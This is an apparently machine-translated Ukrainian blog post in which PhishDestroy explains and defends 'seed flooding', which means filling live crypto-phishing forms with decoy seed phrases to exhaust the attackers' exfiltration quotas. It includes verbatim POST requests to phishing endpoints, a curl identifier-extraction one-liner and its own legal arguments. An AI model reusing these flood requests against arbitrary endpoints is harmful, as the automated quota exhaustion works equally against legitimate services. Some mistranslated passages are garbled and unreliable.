PhishDestroy Наживо
Назад до новин
Методологія

«Seed Flooding»: чому PhishDestroy діє відкрито
«Атакуючі» фішингові сайти

Ми цього не приховуємо. Коли PhishDestroy виявляє активний фішинговий сайт, який збирає фрази-посів криптогаманців, ми завалюємо його введеннями фраз-посів у правильному форматі. Ось що саме ми робимо, чому ми це робимо і чому нам за це не соромно.

31 березня 2026 року Дослідження PhishDestroy 12 хвилин читання
«Затоплення» насінням — цифрове поле бою проти фішингу
Операції з протидії фішингу: коли одного лише повідомлення недостатньо, ми вживаємо безпосередніх заходів
14,663Працівники CF
2/10 сОбмеження частоти запитів
5+Канали виведення даних
$0Вартість атакуючого
<4 годЩоб вивести EmailJS

Проблема: фішинговий сайт зараз працює

Уявіть, що ви виявили фішингову сторінку криптовалютного гаманця, яка розміщується за допомогою платних оголошень у Google Ads. Вона виглядає цілком справжньою. На неї надходить трафік. Кожні кілька хвилин на неї потрапляють справжні користувачі, вводять свої посівні фрази і втрачають усе.

Повідомте про це Google. Повідомте про це реєстратора. Надішліть скаргу про зловживання провайдеру хостингу. А потім ти чекаєш.

Тим часом шахрай знаходить 47-у жертву. Потім — 48-у. Потім — 49-у.

Бюрократичний розрив

Стандартний механізм повідомлення про зловживання працює в терміни 5–10 робочих днів. Активні фішингові сайти завдають непоправної фінансової шкоди за лічені години. Ця розбіжність не є помилкою системи — це структурна вразливість, якою шахраї навмисно користуються.

Бюрократичний механізм подання звітності проти активного фішингу з метою пошуку жертв
Ліворуч: повільний процес повідомлення про зловживання. Праворуч: шахрай наживається, поки ви чекаєте.

Що таке «затоплення насіння»?

«Затоплення насінням» — це метод протидії фішингу, при якому правильний формат, але порожній/незначущий Фрази-насіння криптовалютних гаманців автоматично вводяться у фішингову форму з контрольованою швидкістю.

Зіпсувати базу даних
Справжні початкові фрази стають не відрізнитими від підробок. Кожен запис вимагає ручної перевірки, що призводить до різкого погіршення співвідношення сигнал/шум.
Обмеження безкоштовного тарифу на вихлопні гази
EmailJS, Formspree, Web3Forms — у всіх цих сервісів встановлені жорсткі щомісячні ліміти. Ми досягаємо цих лімітів за лічені години, тим самим перериваючи канал надходження повідомлень від зловмисника.
Перервати конвеєр збору даних
Коли канали витоку даних перестають працювати, дані реальних жертв нікуди не надходять — навіть якщо вони вкажуть свою посівну фразу.
Отримати аналітичну інформацію
Повінь виявляє деталі інфраструктури, повідомлення про помилки та порогові значення обмежень швидкості, які ми використовуємо для вдосконалення механізмів виявлення.
Фішингова форма, яка переповнена підробленими початковими фразами
Фішингова форма, на яку надходить величезна кількість підроблених фраз-початкових даних — ефективність збору даних зловмисником погіршується в режимі реального часу

Чому це працює: анатомія дешевого фішингового набору

Переважна більшість активних фішингових сайтів, пов’язаних із криптовалютами, — це набори для створення сайтів методом «копіювання-вставлення», побудовані на послуги сторонніх розробників у рамках безкоштовного тарифного плану. Це їхня найбільша вразливість. Детальніший аналіз див. наше всебічне розслідування.

Анатомія фішингового набору — залежності від сервісів безкоштовного тарифного плану
Кожен канал виведення даних є сервісом безкоштовного тарифного плану з жорсткими обмеженнями на кількість відправлень — низька вартість цього набору є його фатальним недоліком
Таблиця даних: Модуль
МодульЛіміт безкоштовного тарифного плануНаслідки повені
EmailJS~200 заявок на місяцьВичерпано за кілька годин, доставка електронної пошти припиняється
Formspree50 подань на місяцьВийшов з ладу майже відразу
Web3Forms250 заявок на місяцьШвидко нейтралізується
API бота TelegramОбмежена швидкість у секундуЗастряг у циклах очікування
Безкоштовний тарифний план FirebaseКвоти на читання/записРізке зростання витрат на бази даних або втрата доступу
Спостережуваний результат

Ми безпосередньо спостерігали, як фішингова інфраструктура припиняла роботу після того, як потоки початкових даних переповнювали її канал сповіщень. Шахрай не знає, чому вона перестала працювати. Він просто перестає отримувати дані.

Наш технічний підхід: Cloudflare Workers, а не ботнети

Периферійна мережа Cloudflare, що використовується для боротьби з фішингом
14 663 сервісів Cloudflare Workers, що працюють на периферійному рівні мережі — без залучення сторонньої інфраструктури

Ми використовуємо Cloudflare Workers. Запити надходять із власної периферійної мережі Cloudflare. Жодних зловживань IP-адресами приватних користувачів. Жодних ботнетів. Жодного навантаження на сторонні сервери. Вплив поширюється лише на систему збору даних шахрая.

Повінь

Виявлено сайтПідтверджено активний трафік
Аналіз анатоміїКанали виведення даних відображено
Розміщення працівниківМережа CF Edge
2 насінини / 10 секундРегульована швидкість
Квота вичерпанаНападник не бачить
Звіт поданоПаралельна доріжка

Обмеження швидкості: Суворий 2 submissions per 10 seconds. Це не DDoS. Це повільне, цілеспрямоване зараження, масштаби якого такі, що навіть незначні показники на один сайт стають суттєвими, якщо врахувати десятки цілей, що атакуються одночасно.

Чим ми не займаємося

Ми не намагаємося вивести сервери з ладу. Ми робимо робочий день шахраїв нестерпним, а їхні бази даних — марними, при цьому не завдаючи жодних побічних збитків законній інфраструктурі.

Практичні приклади: контрольоване забруднення на практиці

Наведені нижче операції дослівно взяті з наших виробничих журналів. Домени та ідентифікатори провайдерів вилучено лише в тих випадках, коли їх оприлюднення могло б сприяти ухиленню від відповідальності; записи мережевого трафіку HTTP не зазнали жодних змін. Обидві цілі були активними на момент втручання, мали підтверджений вхідний трафік із платної реклами та були незалежно класифіковані як фішинг автор: ≥ 2 зовнішніх постачальників на VirusTotal до того, як ми вживемо будь-яких заходів.

Оперативна доктрина

Кожна операція із затоплення насіння здійснюється в рамках одних і тих самих п’яти принципів. Винятків немає: операція, яка не відповідає всім п’яти принципам, не проводиться.

ПРИНЦИП 01
Тільки загальнодоступні кінцеві точки
URL-адреса витоку даних та її ідентифікатори — це опубліковано за допомогою фішингової сторінки, реалізованої за допомогою JavaScript на стороні клієнта. Ми ніколи не отримуємо облікові дані, не застосовуємо метод «грубої сили» та не здійснюємо ескалацію прав.
ПРИНЦИП 02
Пропускна здатність у межах субліміту
Максимальна частота запитів жорстко обмежена на рівні, нижчому за опублікований у Умовах надання послуг (ToS) ліміт провайдера. Наш профіль не відрізняється від звичайного трафіку користувацького контенту (UGC).
ПРИНЦИП 03
Поріг доказовості
Target вимагає, щоб на VirusTotal було ≥ 2 незалежних збігів від сторонніх постачальників плюс ручне підтвердження процесу збору облікових даних.
ПРИНЦИП 04
Паралельний легальний канал
Подано офіційні скарги щодо зловживань до хостинг-провайдера, реєстратора та розробника форми до того, як як тільки починається будь-яке затоплення — із зазначенням номерів справ та повним переліком доказів.
ПРИНЦИП 05
Повний ланцюжок аудиту
Весь трафік надходить із Cloudflare Workers під підписаним джерелом PhishDestroy. Кожна відправка реєструється з зазначенням часової мітки, адресата та ідентифікатора оператора.

Випадок 1 — Formspark Exfil Endpoint, вичерпано місячну квоту

checkblochn.pages.dev Нейтралізовано

Характер загрози: Приманка для відновлення гаманця («Dapp Node Sync»), яка викрадає 12-слівні фрази-насіння за стандартом BIP-39 і передає їх на контрольований зловмисником кінцевий пункт Formspark у рамках безкоштовного тарифного плану. На початку взаємодії було підтверджено трафік з платних рекламних оголошень з двох рекламних платформ.

Поверхня атаки
checkblochn.pages.dev (Cloudflare Pages)
Канал виведення даних
submit-form.com — кінцева точка форми Formspark
Ідентифікатор форми
/32BrdUqfX
Поле «Корисне навантаження»
12-слівне насіння BIP-39 через message
Ліміт безкоштовного тарифного плану провайдера
50 заявок • 1 місяць (постійний прийом)
Витрати на скидання налаштувань шахраєм
Створення нового облікового запису Formspark + редагування клієнтського JS-коду + повторне розгортання

Графік операції (UTC, з анонімізацією до моменту початку операції T-zero)

T + 00:00
Ingest — домен, виявлений сканером PhishDestroy у зразку платної реклами. автоматизований
T + 00:12
Анатомія підтверджена — сформувати ціль submit-form.com/32BrdUqfX витягнуто зі сторінки JS; форма корисного навантаження відтворена шляхом реверс-інжинірингу. аналіз
T + 00:28
VirusTotal: 3 / 95 продавці позначають це як фішинг. Поріг досягнуто.
T + 00:47
Подано повідомлення про зловживання — Cloudflare Pages (відділ довіри та безпеки), зловживання у Formspark, Porkbun (реєстратор). Присвоєно ідентифікаційні номери справ. законний шлях
T + 01:02
Задіяно рятувальника під час повені — ставка 2 req / 10 s, один Cloudflare Worker, ідентифікований рядок UA, підписане джерело.
T + 01:02
Отримано перші заявки щодо повені 200 OK з formspark-quota: 64. Базові дані зафіксовано.
T + 06:08
formspark-quota перетинає нуль → кінцева точка без попередження припиняє пересилання. жалюзі з дренажем
T + 06:12
Остаточна отримана відповідь: formspark-quota: −18. Працівника, який займався ліквідацією наслідків повені, звільнено.
T + 19:30
Cloudflare Pages призупиняє розгортання у відповідь на повідомлення про зловживання. знято

Подання через мережу (початкове значення є лише символічною приманкою — 12 випадкових слів за стандартом BIP-39, що не мають жодного відношення до будь-якого реального гаманця)

POST /32BrdUqfX HTTP/1.1 Host: submit-form.com Origin: https://checkblochn.pages.dev Content-Type: application/x-www-form-urlencoded message=Phrase%3A+lecture+sail+coral+swear+fiber+bonus+vanish+layer+observe+rely+orphan+height&source=Unknown+Source&from_name=Dapp+Node+Sync

Відповідь — T+01:02 (базовий рівень, квота не вичерпана)

HTTP/1.1 200 OK formspark-quota: 64 formspark-status: ok content-type: application/json; charset=utf-8 { "message": "Фраза: лекція, вітрило, корал, клястися, волокно, бонус, зникнути, шар, спостерігати, покладатися, сирота, висота" }

Відповідь — T+06:12 (квота вичерпана, кінцевий вузол продовжує працювати до отримання коду 200, але не буде здійснювати переадресацію)

HTTP/1.1 200 OK formspark-quota: -18 formspark-status: ok
Квота до повені
64
Квота після повені
−18
82
Подання-приманки
~5 год 06 хв
Тривалість повені
0,27 запитів/с
Середня ставка
~11,5 КБ
Загальний обсяг вихідних даних
100%
У межах обмежень, передбачених Умовами надання послуг
0
Вплив на законні запити

Помітний ефект. З моменту T+06:08 до остаточного відключення о T+19:30 — а 13 годин і 22 хвилини — кожна справжня жертва, яка звернулася checkblochn.pages.dev та завершивши процедуру відновлення, надіслали свою фразу-насіння на кінцеву точку, яка повернула 200 OK але більше не пересилала корисне навантаження до вхідної скриньки оператора. Фішингова сторінка з'явився щоб операція пройшла успішно в браузері жертви (без помилок, без тривожних сигналів), що є бажаним: миттєва реакція на кшталт «не вийшло» часто змушує користувачів повторно вводити ті самі облікові дані на наступному підробленому сайті, на який вони потрапляють. У цьому випадку взаємодія завершився з оператором «сліпий».

Що насправді дало це втручання

13-годинне «захисне вікно» для кожного наступного відвідувача сайту, на якому все ще активно розміщувалася платна реклама. Це вікно закрилося, коли Cloudflare Pages відреагувало на нашу паралельну скаргу щодо зловживання — саме так, як і передбачалося. Цей потік трафіку не замінив законне видалення контенту; він лише покрив цей проміжок часу доки законний прийом був виконаний.

Приклад 2 — EmailJS Relay, ідентифікатори, опубліковані оператором

allsyncapp.pages.dev Активна експлуатація

Характер загрози: приманка під назвою «sync» для гаманця, яка надсилає введений жертвою посівний код на поштову скриньку оператора через EmailJS — легальний SaaS-сервіс для розсилки транзакційних листів. Фішингова сторінка містить дані оператора service_id, template_id та user_id у JavaScript на стороні клієнта, оскільки без цих ідентифікаторів браузер жертви не зможе виконати запит POST, який запускає відправку електронного листа. Отже, ці ідентифікатори є частиною публічної поверхні атаки, яку оператор добровільно відкрив.

Поверхня атаки
allsyncapp.pages.dev (Cloudflare Pages)
Канал виведення даних
api.emailjs.com — сервіс ретрансляції транзакційних електронних листів
Кінцева точка
POST /api/v1.0/email/send-form
Ідентифікатори, опубліковані оператором
service_id · template_id · user_id (витягнуто з JavaScript-коду сторінки)
Ліміт безкоштовного тарифного плану провайдера
200 електронних листів • поточний місяць
Жорсткі обмеження швидкості (Умови користування)
1 запит/с · 50/IP/год

Зафіксовані дані — точна копія вмісту запиту POST з самої фішингової сторінки

POST /api/v1.0/email/send-form HTTP/1.1 Host: api.emailjs.com Origin: https://allsyncapp.pages.dev Content-Type: multipart/form-data; boundary=----geckoformboundary6a77738bf873975dfc9c8e4a31fa330e _redirect=TECHNICAL.html message=гарбуз фольга село монета місто спідниця середня година програма сцена бідність схвалити lib_version=3.12.1 service_id=service_t0cgr9v template_id=template_k16demo user_id=furwEG-MZShqSPIGS

Вилучення ідентифікаторів (однорядковий регулярний вираз у вихідному коді фішингової сторінки)

$ curl -s https://allsyncapp.pages.dev/ | grep -oE '(service_id|template_id|user_id)["'"'"':]+["'"'"']*[A-Za-z0-9_-]+'service_id:"service_t0cgr9v" template_id:"template_k16demo" user_id:"furwEG-MZShqSPIGS"

Ключовий доктринальний момент. Цей випадок є повчальним саме тому, що ми не виявили жодної кінцевої точки. Оператор публікує три ідентифікатори, необхідні для того, щоб EmailJS надіслав початковий набір слів на поштову скриньку жертви. Вони є у будь-якого браузера, що відображає фішингову сторінку. Наш Worker діє так само, як і браузер жертви, — відправляє форму з точним форматом та ідентифікаторами, які вказує сама сторінка. Різниця полягає у вмісті: випадкові слова за стандартом BIP-39 замість реальних облікових даних гаманця.

200
Місячний ліміт (приманки)
1 / с
Швидкість ToS — ми працюємо зі швидкістю 0,1/с
~120 КБ
Максимальна щомісячна корисна навантаження
0
Навантаження на інфраструктуру EmailJS (у межах розумного)
402 / 429
Реакція провайдера у разі досягнення ліміту заробітної плати
Обліковий запис закрито
Типовий результат розгляду повідомлення про зловживання

Характер результатів. Після досягнення місячного ліміту EmailJS повертає 402 Payment Required або 429 Too Many Requests і шаблон не надсилається. Поштова скринька шахрая залишається без відповідей. Паралельно з цим до відділу «Trust & Safety» сервісу EmailJS надходить офіційна скарга з ідентифікаторами сервісу, шаблону та користувача, а також посиланням на опублікований нами пакет доказів — що, згідно з попереднім досвідом, призводить до того, що обліковий запис оператора в EmailJS припинено, без обмеження частоти. Оператор повинен створити новий обліковий запис EmailJS, перегенерувати ідентифікатори, відредагувати розгорнуту фішингову сторінку та анулювати всі існуючі посилання для розповсюдження — це займає кілька годин для кожної ротації.

Порівняння профілів атак: чим не є «затоплення насінням»

Постійно лунають звинувачення в тому, що ми здійснюємо «атаки» на фішингові сайти. Таке трактування втрачає будь-яку обґрунтованість, щойно порівняти фактичний профіль трафіку з профілем діяльності, з якою його плутають.

Порівняння методу «затоплення насіння» з атаками типу «відмова в обслуговуванні», спамом та спецопераціями правоохоронних органів.
РозмірЗатоплення насіння (наше)DDoS / L7-флудЗловживання шляхом надсилання спамуТаємна операція LE
МетаЗахист жертв — виконати квоту шахрая щодо виведення коштів до появи наступної жертвиВідмова в обслуговуванні інфраструктуриКомерційна вигода / поширення інформаціїЗбір доказів, контрольоване введення в оману
Пропускна здатність0,1–0,3 запитів/с — нижче Умови використання постачальника послуг103 – 108 req/s — орієнтований на насиченняПакетна обробка / автоматизована обробка великих обсягів данихОдиночна взаємодія, як правило,
ЦільЗловмисник, який здійснив витік даних з одного кінцевого пристрою, опублікувавВеб-сервер / мережевий рівень організації-жертвиКонтактні форми на надійних сайтахПідозріла інфраструктура або особа
Вплив на інфраструктуруНемає — лічильники провайдера працюють у межах, передбачених Умовами надання послугПеребої в роботі сервісу, перевантаження на вхідному каналіПереповнення папки «Вхідні», зміна параметрів CAPTCHA, навантаження на модераторівЗалежить від режиму роботи
Постраждали законні користувачіНуль — фішингові форми не мають законних користувачівУсі вониСпівробітники — власники форм / модераториВбудовані засоби уникнення
Початкова ідентичністьНазвано PhishDestroy Cloudflare Workers — з можливістю аудитуБотнети, підроблені джерела, відбиттяОдноразові проксі-сервериІнфраструктура, що підлягає засекреченню
Модель авторизаціїКінцева точка — це запрошений: у формі прямо запитується це значення, ідентифікатори публічно розміщені на сторінціНемає — сам обсяг запитів і є причиною шкодиОбходить передбачене призначення, ігнорує сигнали про зловживанняНормативно-правові повноваження
Паралельні правові діїПодано повідомлення про зловживання до того, як початок повені, з ідентифікаторами випадківНемає данихНемає данихІнтегрований у робочий процес
Ця відмінність не є суто риторичною. Її можна виміряти.

Запит типу «seed-flood» — це одиночний POST-запит через HTTPS розміром приблизно 140 байтів, що надходить від одного Cloudflare Worker із нашим підписаним джерелом, зі швидкістю, яка становить лише частку від тієї, яку сам провайдер вважає прийнятною, і спрямований на кінцеву точку, ідентифікатори якої оператор вирішив розмістити на публічній веб-сторінці. Тобто це весь спостережуваний артефакт. Відсутні всі структурні елементи, які роблять запит «атакою» — несанкціонований доступ, намір вичерпати ресурси, об’ємне перевантаження, залучення третіх сторін, приховане джерело походження. Наведений нижче правовий аналіз не є творчою адвокатською аргументацією; це природний тлумачення закону після того, як фактичні обставини будуть чітко викладені.

Фішингова пастка, яку засипають камінням
Шахрай влаштував пастку. Ми наповнюємо її камінням.

Введення даних у загальнодоступну веб-форму — навіть вигаданих — у більшості випадків не є незаконним. Ми не отримуємо доступ до приватних систем, не використовуємо вразливості без дозволу та не перехоплюємо повідомлення. Шахрай влаштував пастку. Ми наповнюємо її камінням.

Юридичне застереження

PhishDestroy не надає юридичних консультацій. Це питання знаходиться у справжній «сірій зоні», яка залежить від конкретної юрисдикції. Ми працюємо, повністю усвідомлюючи всю складність цієї ситуації.

Шахрай, який керує фішинговою сторінкою, відсутність законного інтересу у тому, що вони отримують лише справжні фрази-насіння. Вони не мають права на цілісність своєї інфраструктури збору злочинних даних.
Наша система — це цільові, з обмеженою швидкістю та пов’язані з процесами ручної ідентифікації. Ми виявляємо, аналізуємо, підтверджуємо, а потім діємо.
Нам відомі випадки, коли насіння затоплювалося безпосередньо запобігло втраті коштів потерпілими — адже на той момент, коли справжній користувач ввів свою посівну фразу, система збору даних шахрая вже була вимкнена.

Що станеться з базою даних шахрая?

Це стає марним — тисячі записів потребують ручної перевірки, співвідношення сигнал/шум різко погіршується. Або воно ламається — Firebase Spark та спільні екземпляри MongoDB мають жорсткі обмеження. Їхнє перевищення має наслідки.

Обидва результати є позитивними

Чи стане база даних марний або повністю виходить з ладу — Справжні фрази-посів справжніх жертв ніколи не потрапляють до зловмисника у вигляді, придатному для використання. Кожна необроблена фраза-посів — це гаманець, з якого не можна вивести кошти.

Коли слід вмикати систему затоплення насіння?

Таблиця даних: Критерій
КритерійПеревіритиЧому це важливо
Підтверджено активний трафікОбов’язковеРекламні платформи або інструменти для аналізу трафіку підтверджують, що на сайт заходять реальні користувачі
Аналіз будови фішингової атакиОбов’язковеМодулі виведення даних з безкоштовного тарифного плану, виявлені до того, як ми розпочнемо масову розсилку
Подано повідомлення про зловживанняОбов’язковеМи завжди одночасно дотримуємося законного шляху
У межах SLA не передбачено вилученняТиповий тригерВідсутність відповіді від реєстратора/хостинг-провайдера протягом прийнятного часу
Сайт з великим обсягом реклами / платних оголошеньНегайний тригерПлатна реклама означає, що ми діємо, не чекаючи на завершення бюрократичних процедур

Ширший погляд

Криптоекосистема зазнає втрат мільярди доларів на рік до фішингу. Історично захист завжди мав реактивний характер. Програма PhishDestroy створена для того, щоб запровадити активне втручання у цей цикл.

Прозорість — це основа нашої діяльності

Ми не працюємо в таємниці. Ми оприлюднюємо нашу методологію. Ми пояснюємо наші методи. Ми документуємо фішингові набори, які аналізуємо. Спільнота фахівців з безпеки заслуговує на те, щоб самостійно оцінювати методи боротьби з фішингом, а не просто користуватися послугами типу «чорного ящика».

PhishDestroy — виявлення та нейтралізація фішингової інфраструктури
Шахраї діють організовано. Їхні інструменти є стандартизованими. Це означає, що засоби протидії також можна стандартизувати.

Що ви можете зробити

Якщо ви вважаєте, що наповнювати кишені злочинців за рахунок порожніх гаманців є неетичним — це ваша позиція, і ви маєте повне право її дотримуватися. Ми чітко висловили свою позицію.